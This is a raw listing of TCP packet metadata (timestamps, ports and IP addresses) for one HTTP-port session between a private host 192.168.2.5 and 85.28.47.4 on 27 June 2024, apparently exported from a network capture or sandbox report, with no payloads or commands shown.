Jun 27, 2024 19:26:01.341367960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.341371059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.341371059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.341383934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.341392994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.341408968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.341424942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.341425896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.341424942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.341444969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.341450930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.341461897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.341469049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.341497898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.341516018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.341820955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.341876984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.342042923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.342056990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.342072010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.342087030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.342092991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.342103004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.342118979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.342119932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.342134953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.342139959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.342150927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.342161894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.342161894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.342176914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.342190981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.342191935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.342194080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.342211008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.342223883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.342226982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.342241049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.342245102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.342257023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.342261076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.342273951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.342293978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.342293978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343125105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343141079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343154907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343178988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343188047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343188047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343197107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343209982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343209982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343214989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343231916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343238115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343249083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343259096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343265057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343278885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343282938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343297958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343298912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343312979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343317986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343333960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343338966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343338966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343350887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343359947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343398094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343398094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.343931913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343947887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343961954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343976974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343991995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.343992949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344007969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344016075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344024897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344034910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344043016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344053984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344058990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344074011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344074965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344091892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344094038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344108105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344122887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344122887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344125032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344141006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344142914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344144106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344156981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344167948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344173908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344189882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344214916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344214916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344815016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344830036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344844103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344858885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344873905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344873905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344888926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344896078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344907045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344922066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344938993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344937086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344937086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344957113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344964981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344964981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344974995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344991922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.344996929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.344996929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345007896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345017910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345026016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345037937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345038891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345067978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345727921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345743895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345758915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345774889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345791101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345789909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345791101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345815897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345817089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345817089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345832109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345837116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345848083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345859051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345866919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345884085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345885038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345885992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345900059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345905066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345916986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345923901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345932961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345944881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345951080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345963955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345967054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.345989943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.345989943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346009016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346605062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.346622944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.346638918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.346654892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.346669912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.346679926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346679926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346681118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346685886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.346712112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.346718073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346718073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346729040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.346744061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346744061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346745968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.346762896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.346762896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346780062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.346785069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346796036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.346801996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346812010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.346828938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.346828938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346828938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346848011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.346863031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.347361088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.347377062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.347390890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.347407103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.347414017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.347450018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.347450018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.428988934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429047108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429061890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429073095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.429116011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.429116011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.429122925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429141045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429168940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.429189920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.429279089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429295063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429310083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429326057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429332018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.429343939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429363012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.429387093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.429541111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429596901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.429699898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429716110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429730892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429745913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429761887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429773092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.429773092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.429778099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429795027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.429800034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.429821014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.429840088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.430092096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430107117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430129051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430151939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.430186033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.430186987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.430250883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430265903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430280924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430296898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430300951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.430336952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.430336952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.430370092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430386066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430399895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430416107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430418968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.430432081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430438995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.430449963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430473089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430476904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.430490017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430499077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.430505991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430519104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.430525064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.430552959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.430572987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.431293011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.431308031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.431323051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.431338072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.431349993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.431351900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.431370020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.431370020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.431385040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.431399107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.431400061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.431416988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.431416988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.431432962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.431449890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.431451082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.431466103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.431469917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.431482077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.431490898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.431498051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.431514025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.431543112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.431543112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.432219028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432235003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432249069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432265043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432276964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.432279110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432277918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.432296038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432298899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.432312012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432323933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.432323933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.432327986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432343006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432343960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.432358980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432364941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.432375908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432390928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.432390928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.432391882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432410002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432423115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.432429075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432445049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.432451963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.432471991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.432507992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.433161020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433176994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433191061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433206081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433218956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.433221102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433219910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.433238983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433248043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.433254957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433264017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.433270931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433285952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433286905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.433303118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433307886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.433319092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433329105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.433336020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433353901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433366060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.433370113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433384895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.433387041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.433408022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.433429956 CEST	49705	80	192.168.2.5	85.28.47.4
